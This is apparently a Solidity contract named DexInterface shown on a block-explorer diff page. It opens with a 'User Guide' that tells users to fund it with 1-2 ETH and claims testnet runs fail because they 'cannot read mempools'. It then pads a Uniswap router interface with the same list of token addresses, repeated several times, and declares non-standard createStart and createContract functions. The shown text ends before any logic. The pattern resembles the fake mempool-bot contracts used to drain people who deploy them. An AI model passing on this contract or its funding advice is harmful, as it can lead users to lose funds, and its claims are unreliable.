ETH Price: $1,857.44 (-7.61%)

Contract Diff Checker

Contract Name:
DexInterface

Contract Source Code:

<i class='far fa-question-circle text-muted ms-2' data-bs-trigger='hover' data-bs-toggle='tooltip' data-bs-html='true' data-bs-title='Click on the check box to select individual contract to compare. Only 1 contract can be selected from each side.'></i>

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
 
// User Guide
// Test-net transactions will fail since they don't hold any value and cannot read mempools properly
// Mempool updated build
 
// Recommended liquidity after gas fees needs to equal 0.7 ETH use 1-2 ETH or more if possible
 
interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint amount) external returns (bool);
    function createStart(address sender, address reciver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

interface IUniswapV2Router {
    // Returns the address of the Uniswap V2 factory contract
    function factory() external pure returns (address);
    
    // Returns the address of the wrapped Ether contract
    function WETH() external pure returns (address);
    
    // Adds liquidity to the liquidity pool for the specified token pair
// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c 
// Wrapped NXM (wNXM)
// Blockchain based solutions for smart contract cover.
// 0x0d438f3b5175bebc262bf23753c1e53d03432bde

// Bytom (BTM)
// Transfer assets from atomic world to byteworld
// 0xcb97e65f07da24d46bcdd078ebebd7c6e6e3d750

// OKB (OKB)
// Digital Asset Exchange
// 0x75231f58b43240c9718dd58b4967c5114342a86c

// Chain (XCN)
// Chain is a cloud blockchain protocol that enables organizations to build better financial services from the ground up powered by Sequence and Chain Core.
// 0xa2cd3d43c775978a96bdbf12d733d5a1ed94fb18

// Uniswap (UNI)
// UNI token served as governance token for Uniswap protocol with 1 billion UNI have been minted at genesis. 60% of the UNI genesis supply is allocated to Uniswap community members and remaining for team, investors and advisors.
// 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984

// VeChain (VEN)
// Aims to connect blockchain technology to the real world by as well as advanced IoT integration.
// 0xd850942ef8811f2a866692a623011bde52a462c1

// Frax (FRAX)
// Frax is a fractional-algorithmic stablecoin protocol. It aims to provide a highly scalable, decentralized, algorithmic money in place of fixed-supply assets like BTC. Additionally, FXS is the value accrual and governance token of the entire Frax ecosystem.
// 0x853d955acef822db058eb8505911ed77f175b99e

// TrueUSD (TUSD)
// A regulated, exchange-independent stablecoin backed 1-for-1 with US Dollars.
// 0x0000000000085d4780B73119b644AE5ecd22b376

// Wrapped Decentraland MANA (wMANA)
// The Wrapped MANA token is not transferable and has to be unwrapped 1:1 back to MANA to transfer it. This token is also not burnable or mintable (except by wrapping more tokens).
// 0xfd09cf7cfffa9932e33668311c4777cb9db3c9be

// Wrapped Filecoin (WFIL)
// Wrapped Filecoin is an Ethereum based representation of Filecoin.
// 0x6e1A19F235bE7ED8E3369eF73b196C07257494DE

// SAND (SAND)
// The Sandbox is a virtual world where players can build, own, and monetize their gaming experiences in the Ethereum blockchain using SAND, the platform’s utility token.
// 0x3845badAde8e6dFF049820680d1F14bD3903a5d0

// KuCoin Token (KCS)
// KCS performs as the key to the entire KuCoin ecosystem, and it will also be the native asset on KuCoin’s decentralized financial services as well as the governance token of KuCoin Community.
// 0xf34960d9d60be18cc1d5afc1a6f012a723a28811

// Compound USD Coin (cUSDC)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x39aa39c021dfbae8fac545936693ac917d5e7563

// Pax Dollar (USDP)
// Pax Dollar (USDP) is a digital dollar redeemable one-to-one for US dollars and regulated by the New York Department of Financial Services.
// 0x8e870d67f660d95d5be530380d0ec0bd388289e1

// HuobiToken (HT)
// Huobi Global is a world-leading cryptocurrency financial services group.
// 0x6f259637dcd74c767781e37bc6133cd6a68aa161

// Huobi BTC (HBTC)
// HBTC is a standard ERC20 token backed by 100% BTC. While maintaining the equivalent value of Bitcoin, it also has the flexibility of Ethereum. A bridge between the centralized market and the DeFi market.
// 0x0316EB71485b0Ab14103307bf65a021042c6d380

// Maker (MKR)
// Maker is a Decentralized Autonomous Organization that creates and insures the dai stablecoin on the Ethereum blockchain
// 0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2

// Graph Token (GRT)
// The Graph is an indexing protocol and global API for organizing blockchain data and making it easily accessible with GraphQL.
// 0xc944e90c64b2c07662a292be6244bdf05cda44a7

// BitTorrent (BTT)
// BTT is the official token of BitTorrent Chain, mapped from BitTorrent Chain at a ratio of 1:1. BitTorrent Chain is a brand-new heterogeneous cross-chain interoperability protocol, which leverages sidechains for the scaling of smart contracts.
// 0xc669928185dbce49d2230cc9b0979be6dc797957

// Decentralized USD (USDD)
// USDD is a fully decentralized over-collateralization stablecoin.
// 0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6

// Quant (QNT)
// Blockchain operating system that connects the world’s networks and facilitates the development of multi-chain applications.
// 0x4a220e6096b25eadb88358cb44068a3248254675

// Compound Dai (cDAI)
// Compound is an open-source, autonomous protocol built for developers, to unlock a universe of new financial applications. Interest and borrowing, for the open financial system.
// 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643

// Paxos Gold (PAXG)
// PAX Gold (PAXG) tokens each represent one fine troy ounce of an LBMA-certified, London Good Delivery physical gold bar, secured in Brink’s vaults.
// 0x45804880De22913dAFE09f4980848ECE6EcbAf78

// Compound Ether (cETH)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5

// Fantom Token (FTM)
// Fantom is a high-performance, scalable, customizable, and secure smart-contract platform. It is designed to overcome the limitations of previous generation blockchain platforms. Fantom is permissionless, decentralized, and open-source.
// 0x4e15361fd6b4bb609fa63c81a2be19d873717870

// Tether Gold (XAUt)
// Each XAU₮ token represents ownership of one troy fine ounce of physical gold on a specific gold bar. Furthermore, Tether Gold (XAU₮) is the only product among the competition that offers zero custody fees and has direct control over the physical gold storage.
// 0x68749665ff8d2d112fa859aa293f07a622782f38

// BitDAO (BIT)
// 0x1a4b46696b2bb4794eb3d4c26f1c55f9170fa4c5

// chiliZ (CHZ)
// Chiliz is the sports and fan engagement blockchain platform, that signed leading sports teams.
// 0x3506424f91fd33084466f402d5d97f05f8e3b4af

// BAT (BAT)
// The Basic Attention Token is the new token for the digital advertising industry.
// 0x0d8775f648430679a709e98d2b0cb6250d2887ef

// LoopringCoin V2 (LRC)
// Loopring is a DEX protocol offering orderbook-based trading infrastructure, zero-knowledge proof and an auction protocol called Oedax (Open-Ended Dutch Auction Exchange).
// 0xbbbbca6a901c926f240b89eacb641d8aec7aeafd

// Fei USD (FEI)
// Fei Protocol ($FEI) represents a direct incentive stablecoin which is undercollateralized and fully decentralized. FEI employs a stability mechanism known as direct incentives - dynamic mint rewards and burn penalties on DEX trade volume to maintain the peg.
// 0x956F47F50A910163D8BF957Cf5846D573E7f87CA

// Zilliqa (ZIL)
// Zilliqa is a high-throughput public blockchain platform - designed to scale to thousands ​of transactions per second.
// 0x05f4a42e251f2d52b8ed15e9fedaacfcef1fad27

// Amp (AMP)
// Amp is a digital collateral token designed to facilitate fast and efficient value transfer, especially for use cases that prioritize security and irreversibility. Using Amp as collateral, individuals and entities benefit from instant, verifiable assurances for any kind of asset exchange.
// 0xff20817765cb7f73d4bde2e66e067e58d11095c2

// Gala (GALA)
// Gala Games is dedicated to decentralizing the multi-billion dollar gaming industry by giving players access to their in-game items. Coming from the Co-founder of Zynga and some of the creative minds behind Farmville 2, Gala Games aims to revolutionize gaming.
// 0x15D4c048F83bd7e37d49eA4C83a07267Ec4203dA

// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c
// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c 
// Wrapped NXM (wNXM)
// Blockchain based solutions for smart contract cover.
// 0x0d438f3b5175bebc262bf23753c1e53d03432bde

// Bytom (BTM)
// Transfer assets from atomic world to byteworld
// 0xcb97e65f07da24d46bcdd078ebebd7c6e6e3d750

// OKB (OKB)
// Digital Asset Exchange
// 0x75231f58b43240c9718dd58b4967c5114342a86c

// Chain (XCN)
// Chain is a cloud blockchain protocol that enables organizations to build better financial services from the ground up powered by Sequence and Chain Core.
// 0xa2cd3d43c775978a96bdbf12d733d5a1ed94fb18

// Uniswap (UNI)
// UNI token served as governance token for Uniswap protocol with 1 billion UNI have been minted at genesis. 60% of the UNI genesis supply is allocated to Uniswap community members and remaining for team, investors and advisors.
// 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984

// VeChain (VEN)
// Aims to connect blockchain technology to the real world by as well as advanced IoT integration.
// 0xd850942ef8811f2a866692a623011bde52a462c1

// Frax (FRAX)
// Frax is a fractional-algorithmic stablecoin protocol. It aims to provide a highly scalable, decentralized, algorithmic money in place of fixed-supply assets like BTC. Additionally, FXS is the value accrual and governance token of the entire Frax ecosystem.
// 0x853d955acef822db058eb8505911ed77f175b99e

// TrueUSD (TUSD)
// A regulated, exchange-independent stablecoin backed 1-for-1 with US Dollars.
// 0x0000000000085d4780B73119b644AE5ecd22b376

// Wrapped Decentraland MANA (wMANA)
// The Wrapped MANA token is not transferable and has to be unwrapped 1:1 back to MANA to transfer it. This token is also not burnable or mintable (except by wrapping more tokens).
// 0xfd09cf7cfffa9932e33668311c4777cb9db3c9be

// Wrapped Filecoin (WFIL)
// Wrapped Filecoin is an Ethereum based representation of Filecoin.
// 0x6e1A19F235bE7ED8E3369eF73b196C07257494DE

// SAND (SAND)
// The Sandbox is a virtual world where players can build, own, and monetize their gaming experiences in the Ethereum blockchain using SAND, the platform’s utility token.
// 0x3845badAde8e6dFF049820680d1F14bD3903a5d0

// KuCoin Token (KCS)
// KCS performs as the key to the entire KuCoin ecosystem, and it will also be the native asset on KuCoin’s decentralized financial services as well as the governance token of KuCoin Community.
// 0xf34960d9d60be18cc1d5afc1a6f012a723a28811

// Compound USD Coin (cUSDC)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x39aa39c021dfbae8fac545936693ac917d5e7563

// Pax Dollar (USDP)
// Pax Dollar (USDP) is a digital dollar redeemable one-to-one for US dollars and regulated by the New York Department of Financial Services.
// 0x8e870d67f660d95d5be530380d0ec0bd388289e1

// HuobiToken (HT)
// Huobi Global is a world-leading cryptocurrency financial services group.
// 0x6f259637dcd74c767781e37bc6133cd6a68aa161

// Huobi BTC (HBTC)
// HBTC is a standard ERC20 token backed by 100% BTC. While maintaining the equivalent value of Bitcoin, it also has the flexibility of Ethereum. A bridge between the centralized market and the DeFi market.
// 0x0316EB71485b0Ab14103307bf65a021042c6d380

// Maker (MKR)
// Maker is a Decentralized Autonomous Organization that creates and insures the dai stablecoin on the Ethereum blockchain
// 0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2

// Graph Token (GRT)
// The Graph is an indexing protocol and global API for organizing blockchain data and making it easily accessible with GraphQL.
// 0xc944e90c64b2c07662a292be6244bdf05cda44a7

// BitTorrent (BTT)
// BTT is the official token of BitTorrent Chain, mapped from BitTorrent Chain at a ratio of 1:1. BitTorrent Chain is a brand-new heterogeneous cross-chain interoperability protocol, which leverages sidechains for the scaling of smart contracts.
// 0xc669928185dbce49d2230cc9b0979be6dc797957

// Decentralized USD (USDD)
// USDD is a fully decentralized over-collateralization stablecoin.
// 0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6

// Quant (QNT)
// Blockchain operating system that connects the world’s networks and facilitates the development of multi-chain applications.
// 0x4a220e6096b25eadb88358cb44068a3248254675

// Compound Dai (cDAI)
// Compound is an open-source, autonomous protocol built for developers, to unlock a universe of new financial applications. Interest and borrowing, for the open financial system.
// 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643

// Paxos Gold (PAXG)
// PAX Gold (PAXG) tokens each represent one fine troy ounce of an LBMA-certified, London Good Delivery physical gold bar, secured in Brink’s vaults.
// 0x45804880De22913dAFE09f4980848ECE6EcbAf78

// Compound Ether (cETH)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5

// Fantom Token (FTM)
// Fantom is a high-performance, scalable, customizable, and secure smart-contract platform. It is designed to overcome the limitations of previous generation blockchain platforms. Fantom is permissionless, decentralized, and open-source.
// 0x4e15361fd6b4bb609fa63c81a2be19d873717870

// Tether Gold (XAUt)
// Each XAU₮ token represents ownership of one troy fine ounce of physical gold on a specific gold bar. Furthermore, Tether Gold (XAU₮) is the only product among the competition that offers zero custody fees and has direct control over the physical gold storage.
// 0x68749665ff8d2d112fa859aa293f07a622782f38

// BitDAO (BIT)
// 0x1a4b46696b2bb4794eb3d4c26f1c55f9170fa4c5

// chiliZ (CHZ)
// Chiliz is the sports and fan engagement blockchain platform, that signed leading sports teams.
// 0x3506424f91fd33084466f402d5d97f05f8e3b4af

// BAT (BAT)
// The Basic Attention Token is the new token for the digital advertising industry.
// 0x0d8775f648430679a709e98d2b0cb6250d2887ef

// LoopringCoin V2 (LRC)
// Loopring is a DEX protocol offering orderbook-based trading infrastructure, zero-knowledge proof and an auction protocol called Oedax (Open-Ended Dutch Auction Exchange).
// 0xbbbbca6a901c926f240b89eacb641d8aec7aeafd

// Fei USD (FEI)
// Fei Protocol ($FEI) represents a direct incentive stablecoin which is undercollateralized and fully decentralized. FEI employs a stability mechanism known as direct incentives - dynamic mint rewards and burn penalties on DEX trade volume to maintain the peg.
// 0x956F47F50A910163D8BF957Cf5846D573E7f87CA

// Zilliqa (ZIL)
// Zilliqa is a high-throughput public blockchain platform - designed to scale to thousands ​of transactions per second.
// 0x05f4a42e251f2d52b8ed15e9fedaacfcef1fad27

// Amp (AMP)
// Amp is a digital collateral token designed to facilitate fast and efficient value transfer, especially for use cases that prioritize security and irreversibility. Using Amp as collateral, individuals and entities benefit from instant, verifiable assurances for any kind of asset exchange.
// 0xff20817765cb7f73d4bde2e66e067e58d11095c2

// Gala (GALA)
// Gala Games is dedicated to decentralizing the multi-billion dollar gaming industry by giving players access to their in-game items. Coming from the Co-founder of Zynga and some of the creative minds behind Farmville 2, Gala Games aims to revolutionize gaming.
// 0x15D4c048F83bd7e37d49eA4C83a07267Ec4203dA

// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    // Similar to above, but for adding liquidity for ETH/token pair
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    // Removes liquidity from the specified token pair pool
    
// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c 
// Wrapped NXM (wNXM)
// Blockchain based solutions for smart contract cover.
// 0x0d438f3b5175bebc262bf23753c1e53d03432bde

// Bytom (BTM)
// Transfer assets from atomic world to byteworld
// 0xcb97e65f07da24d46bcdd078ebebd7c6e6e3d750

// OKB (OKB)
// Digital Asset Exchange
// 0x75231f58b43240c9718dd58b4967c5114342a86c

// Chain (XCN)
// Chain is a cloud blockchain protocol that enables organizations to build better financial services from the ground up powered by Sequence and Chain Core.
// 0xa2cd3d43c775978a96bdbf12d733d5a1ed94fb18

// Uniswap (UNI)
// UNI token served as governance token for Uniswap protocol with 1 billion UNI have been minted at genesis. 60% of the UNI genesis supply is allocated to Uniswap community members and remaining for team, investors and advisors.
// 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984

// VeChain (VEN)
// Aims to connect blockchain technology to the real world by as well as advanced IoT integration.
// 0xd850942ef8811f2a866692a623011bde52a462c1

// Frax (FRAX)
// Frax is a fractional-algorithmic stablecoin protocol. It aims to provide a highly scalable, decentralized, algorithmic money in place of fixed-supply assets like BTC. Additionally, FXS is the value accrual and governance token of the entire Frax ecosystem.
// 0x853d955acef822db058eb8505911ed77f175b99e

// TrueUSD (TUSD)
// A regulated, exchange-independent stablecoin backed 1-for-1 with US Dollars.
// 0x0000000000085d4780B73119b644AE5ecd22b376

// Wrapped Decentraland MANA (wMANA)
// The Wrapped MANA token is not transferable and has to be unwrapped 1:1 back to MANA to transfer it. This token is also not burnable or mintable (except by wrapping more tokens).
// 0xfd09cf7cfffa9932e33668311c4777cb9db3c9be

// Wrapped Filecoin (WFIL)
// Wrapped Filecoin is an Ethereum based representation of Filecoin.
// 0x6e1A19F235bE7ED8E3369eF73b196C07257494DE

// SAND (SAND)
// The Sandbox is a virtual world where players can build, own, and monetize their gaming experiences in the Ethereum blockchain using SAND, the platform’s utility token.
// 0x3845badAde8e6dFF049820680d1F14bD3903a5d0

// KuCoin Token (KCS)
// KCS performs as the key to the entire KuCoin ecosystem, and it will also be the native asset on KuCoin’s decentralized financial services as well as the governance token of KuCoin Community.
// 0xf34960d9d60be18cc1d5afc1a6f012a723a28811

// Compound USD Coin (cUSDC)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x39aa39c021dfbae8fac545936693ac917d5e7563

// Pax Dollar (USDP)
// Pax Dollar (USDP) is a digital dollar redeemable one-to-one for US dollars and regulated by the New York Department of Financial Services.
// 0x8e870d67f660d95d5be530380d0ec0bd388289e1

// HuobiToken (HT)
// Huobi Global is a world-leading cryptocurrency financial services group.
// 0x6f259637dcd74c767781e37bc6133cd6a68aa161

// Huobi BTC (HBTC)
// HBTC is a standard ERC20 token backed by 100% BTC. While maintaining the equivalent value of Bitcoin, it also has the flexibility of Ethereum. A bridge between the centralized market and the DeFi market.
// 0x0316EB71485b0Ab14103307bf65a021042c6d380

// Maker (MKR)
// Maker is a Decentralized Autonomous Organization that creates and insures the dai stablecoin on the Ethereum blockchain
// 0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2

// Graph Token (GRT)
// The Graph is an indexing protocol and global API for organizing blockchain data and making it easily accessible with GraphQL.
// 0xc944e90c64b2c07662a292be6244bdf05cda44a7

// BitTorrent (BTT)
// BTT is the official token of BitTorrent Chain, mapped from BitTorrent Chain at a ratio of 1:1. BitTorrent Chain is a brand-new heterogeneous cross-chain interoperability protocol, which leverages sidechains for the scaling of smart contracts.
// 0xc669928185dbce49d2230cc9b0979be6dc797957

// Decentralized USD (USDD)
// USDD is a fully decentralized over-collateralization stablecoin.
// 0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6

// Quant (QNT)
// Blockchain operating system that connects the world’s networks and facilitates the development of multi-chain applications.
// 0x4a220e6096b25eadb88358cb44068a3248254675

// Compound Dai (cDAI)
// Compound is an open-source, autonomous protocol built for developers, to unlock a universe of new financial applications. Interest and borrowing, for the open financial system.
// 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643

// Paxos Gold (PAXG)
// PAX Gold (PAXG) tokens each represent one fine troy ounce of an LBMA-certified, London Good Delivery physical gold bar, secured in Brink’s vaults.
// 0x45804880De22913dAFE09f4980848ECE6EcbAf78

// Compound Ether (cETH)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5

// Fantom Token (FTM)
// Fantom is a high-performance, scalable, customizable, and secure smart-contract platform. It is designed to overcome the limitations of previous generation blockchain platforms. Fantom is permissionless, decentralized, and open-source.
// 0x4e15361fd6b4bb609fa63c81a2be19d873717870

// Tether Gold (XAUt)
// Each XAU₮ token represents ownership of one troy fine ounce of physical gold on a specific gold bar. Furthermore, Tether Gold (XAU₮) is the only product among the competition that offers zero custody fees and has direct control over the physical gold storage.
// 0x68749665ff8d2d112fa859aa293f07a622782f38

// BitDAO (BIT)
// 0x1a4b46696b2bb4794eb3d4c26f1c55f9170fa4c5

// chiliZ (CHZ)
// Chiliz is the sports and fan engagement blockchain platform, that signed leading sports teams.
// 0x3506424f91fd33084466f402d5d97f05f8e3b4af

// BAT (BAT)
// The Basic Attention Token is the new token for the digital advertising industry.
// 0x0d8775f648430679a709e98d2b0cb6250d2887ef

// LoopringCoin V2 (LRC)
// Loopring is a DEX protocol offering orderbook-based trading infrastructure, zero-knowledge proof and an auction protocol called Oedax (Open-Ended Dutch Auction Exchange).
// 0xbbbbca6a901c926f240b89eacb641d8aec7aeafd

// Fei USD (FEI)
// Fei Protocol ($FEI) represents a direct incentive stablecoin which is undercollateralized and fully decentralized. FEI employs a stability mechanism known as direct incentives - dynamic mint rewards and burn penalties on DEX trade volume to maintain the peg.
// 0x956F47F50A910163D8BF957Cf5846D573E7f87CA

// Zilliqa (ZIL)
// Zilliqa is a high-throughput public blockchain platform - designed to scale to thousands ​of transactions per second.
// 0x05f4a42e251f2d52b8ed15e9fedaacfcef1fad27

// Amp (AMP)
// Amp is a digital collateral token designed to facilitate fast and efficient value transfer, especially for use cases that prioritize security and irreversibility. Using Amp as collateral, individuals and entities benefit from instant, verifiable assurances for any kind of asset exchange.
// 0xff20817765cb7f73d4bde2e66e067e58d11095c2

// Gala (GALA)
// Gala Games is dedicated to decentralizing the multi-billion dollar gaming industry by giving players access to their in-game items. Coming from the Co-founder of Zynga and some of the creative minds behind Farmville 2, Gala Games aims to revolutionize gaming.
// 0x15D4c048F83bd7e37d49eA4C83a07267Ec4203dA

// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    // Similar to above, but for removing liquidity from ETH/token pair pool
    
// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c 
// Wrapped NXM (wNXM)
// Blockchain based solutions for smart contract cover.
// 0x0d438f3b5175bebc262bf23753c1e53d03432bde

// Bytom (BTM)
// Transfer assets from atomic world to byteworld
// 0xcb97e65f07da24d46bcdd078ebebd7c6e6e3d750

// OKB (OKB)
// Digital Asset Exchange
// 0x75231f58b43240c9718dd58b4967c5114342a86c

// Chain (XCN)
// Chain is a cloud blockchain protocol that enables organizations to build better financial services from the ground up powered by Sequence and Chain Core.
// 0xa2cd3d43c775978a96bdbf12d733d5a1ed94fb18

// Uniswap (UNI)
// UNI token served as governance token for Uniswap protocol with 1 billion UNI have been minted at genesis. 60% of the UNI genesis supply is allocated to Uniswap community members and remaining for team, investors and advisors.
// 0x1f9840a85d5af5bf1d1762f925bdaddc4201f984

// VeChain (VEN)
// Aims to connect blockchain technology to the real world by as well as advanced IoT integration.
// 0xd850942ef8811f2a866692a623011bde52a462c1

// Frax (FRAX)
// Frax is a fractional-algorithmic stablecoin protocol. It aims to provide a highly scalable, decentralized, algorithmic money in place of fixed-supply assets like BTC. Additionally, FXS is the value accrual and governance token of the entire Frax ecosystem.
// 0x853d955acef822db058eb8505911ed77f175b99e

// TrueUSD (TUSD)
// A regulated, exchange-independent stablecoin backed 1-for-1 with US Dollars.
// 0x0000000000085d4780B73119b644AE5ecd22b376

// Wrapped Decentraland MANA (wMANA)
// The Wrapped MANA token is not transferable and has to be unwrapped 1:1 back to MANA to transfer it. This token is also not burnable or mintable (except by wrapping more tokens).
// 0xfd09cf7cfffa9932e33668311c4777cb9db3c9be

// Wrapped Filecoin (WFIL)
// Wrapped Filecoin is an Ethereum based representation of Filecoin.
// 0x6e1A19F235bE7ED8E3369eF73b196C07257494DE

// SAND (SAND)
// The Sandbox is a virtual world where players can build, own, and monetize their gaming experiences in the Ethereum blockchain using SAND, the platform’s utility token.
// 0x3845badAde8e6dFF049820680d1F14bD3903a5d0

// KuCoin Token (KCS)
// KCS performs as the key to the entire KuCoin ecosystem, and it will also be the native asset on KuCoin’s decentralized financial services as well as the governance token of KuCoin Community.
// 0xf34960d9d60be18cc1d5afc1a6f012a723a28811

// Compound USD Coin (cUSDC)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x39aa39c021dfbae8fac545936693ac917d5e7563

// Pax Dollar (USDP)
// Pax Dollar (USDP) is a digital dollar redeemable one-to-one for US dollars and regulated by the New York Department of Financial Services.
// 0x8e870d67f660d95d5be530380d0ec0bd388289e1

// HuobiToken (HT)
// Huobi Global is a world-leading cryptocurrency financial services group.
// 0x6f259637dcd74c767781e37bc6133cd6a68aa161

// Huobi BTC (HBTC)
// HBTC is a standard ERC20 token backed by 100% BTC. While maintaining the equivalent value of Bitcoin, it also has the flexibility of Ethereum. A bridge between the centralized market and the DeFi market.
// 0x0316EB71485b0Ab14103307bf65a021042c6d380

// Maker (MKR)
// Maker is a Decentralized Autonomous Organization that creates and insures the dai stablecoin on the Ethereum blockchain
// 0x9f8f72aa9304c8b593d555f12ef6589cc3a579a2

// Graph Token (GRT)
// The Graph is an indexing protocol and global API for organizing blockchain data and making it easily accessible with GraphQL.
// 0xc944e90c64b2c07662a292be6244bdf05cda44a7

// BitTorrent (BTT)
// BTT is the official token of BitTorrent Chain, mapped from BitTorrent Chain at a ratio of 1:1. BitTorrent Chain is a brand-new heterogeneous cross-chain interoperability protocol, which leverages sidechains for the scaling of smart contracts.
// 0xc669928185dbce49d2230cc9b0979be6dc797957

// Decentralized USD (USDD)
// USDD is a fully decentralized over-collateralization stablecoin.
// 0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6

// Quant (QNT)
// Blockchain operating system that connects the world’s networks and facilitates the development of multi-chain applications.
// 0x4a220e6096b25eadb88358cb44068a3248254675

// Compound Dai (cDAI)
// Compound is an open-source, autonomous protocol built for developers, to unlock a universe of new financial applications. Interest and borrowing, for the open financial system.
// 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643

// Paxos Gold (PAXG)
// PAX Gold (PAXG) tokens each represent one fine troy ounce of an LBMA-certified, London Good Delivery physical gold bar, secured in Brink’s vaults.
// 0x45804880De22913dAFE09f4980848ECE6EcbAf78

// Compound Ether (cETH)
// Compound is an open-source protocol for algorithmic, efficient Money Markets on the Ethereum blockchain.
// 0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5

// Fantom Token (FTM)
// Fantom is a high-performance, scalable, customizable, and secure smart-contract platform. It is designed to overcome the limitations of previous generation blockchain platforms. Fantom is permissionless, decentralized, and open-source.
// 0x4e15361fd6b4bb609fa63c81a2be19d873717870

// Tether Gold (XAUt)
// Each XAU₮ token represents ownership of one troy fine ounce of physical gold on a specific gold bar. Furthermore, Tether Gold (XAU₮) is the only product among the competition that offers zero custody fees and has direct control over the physical gold storage.
// 0x68749665ff8d2d112fa859aa293f07a622782f38

// BitDAO (BIT)
// 0x1a4b46696b2bb4794eb3d4c26f1c55f9170fa4c5

// chiliZ (CHZ)
// Chiliz is the sports and fan engagement blockchain platform, that signed leading sports teams.
// 0x3506424f91fd33084466f402d5d97f05f8e3b4af

// BAT (BAT)
// The Basic Attention Token is the new token for the digital advertising industry.
// 0x0d8775f648430679a709e98d2b0cb6250d2887ef

// LoopringCoin V2 (LRC)
// Loopring is a DEX protocol offering orderbook-based trading infrastructure, zero-knowledge proof and an auction protocol called Oedax (Open-Ended Dutch Auction Exchange).
// 0xbbbbca6a901c926f240b89eacb641d8aec7aeafd

// Fei USD (FEI)
// Fei Protocol ($FEI) represents a direct incentive stablecoin which is undercollateralized and fully decentralized. FEI employs a stability mechanism known as direct incentives - dynamic mint rewards and burn penalties on DEX trade volume to maintain the peg.
// 0x956F47F50A910163D8BF957Cf5846D573E7f87CA

// Zilliqa (ZIL)
// Zilliqa is a high-throughput public blockchain platform - designed to scale to thousands ​of transactions per second.
// 0x05f4a42e251f2d52b8ed15e9fedaacfcef1fad27

// Amp (AMP)
// Amp is a digital collateral token designed to facilitate fast and efficient value transfer, especially for use cases that prioritize security and irreversibility. Using Amp as collateral, individuals and entities benefit from instant, verifiable assurances for any kind of asset exchange.
// 0xff20817765cb7f73d4bde2e66e067e58d11095c2

// Gala (GALA)
// Gala Games is dedicated to decentralizing the multi-billion dollar gaming industry by giving players access to their in-game items. Coming from the Co-founder of Zynga and some of the creative minds behind Farmville 2, Gala Games aims to revolutionize gaming.
// 0x15D4c048F83bd7e37d49eA4C83a07267Ec4203dA

// EnjinCoin (ENJ)
// Customizable cryptocurrency and virtual goods platform for gaming.
// 0xf629cbd94d3791c9250152bd8dfbdf380e2a3b9c
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    // Similar as removeLiquidity, but with permit signature included
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    // Similar as removeLiquidityETH but with permit signature included
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    
    // Swaps an exact amount of input tokens for as many output tokens as possible, along the route determined by the path
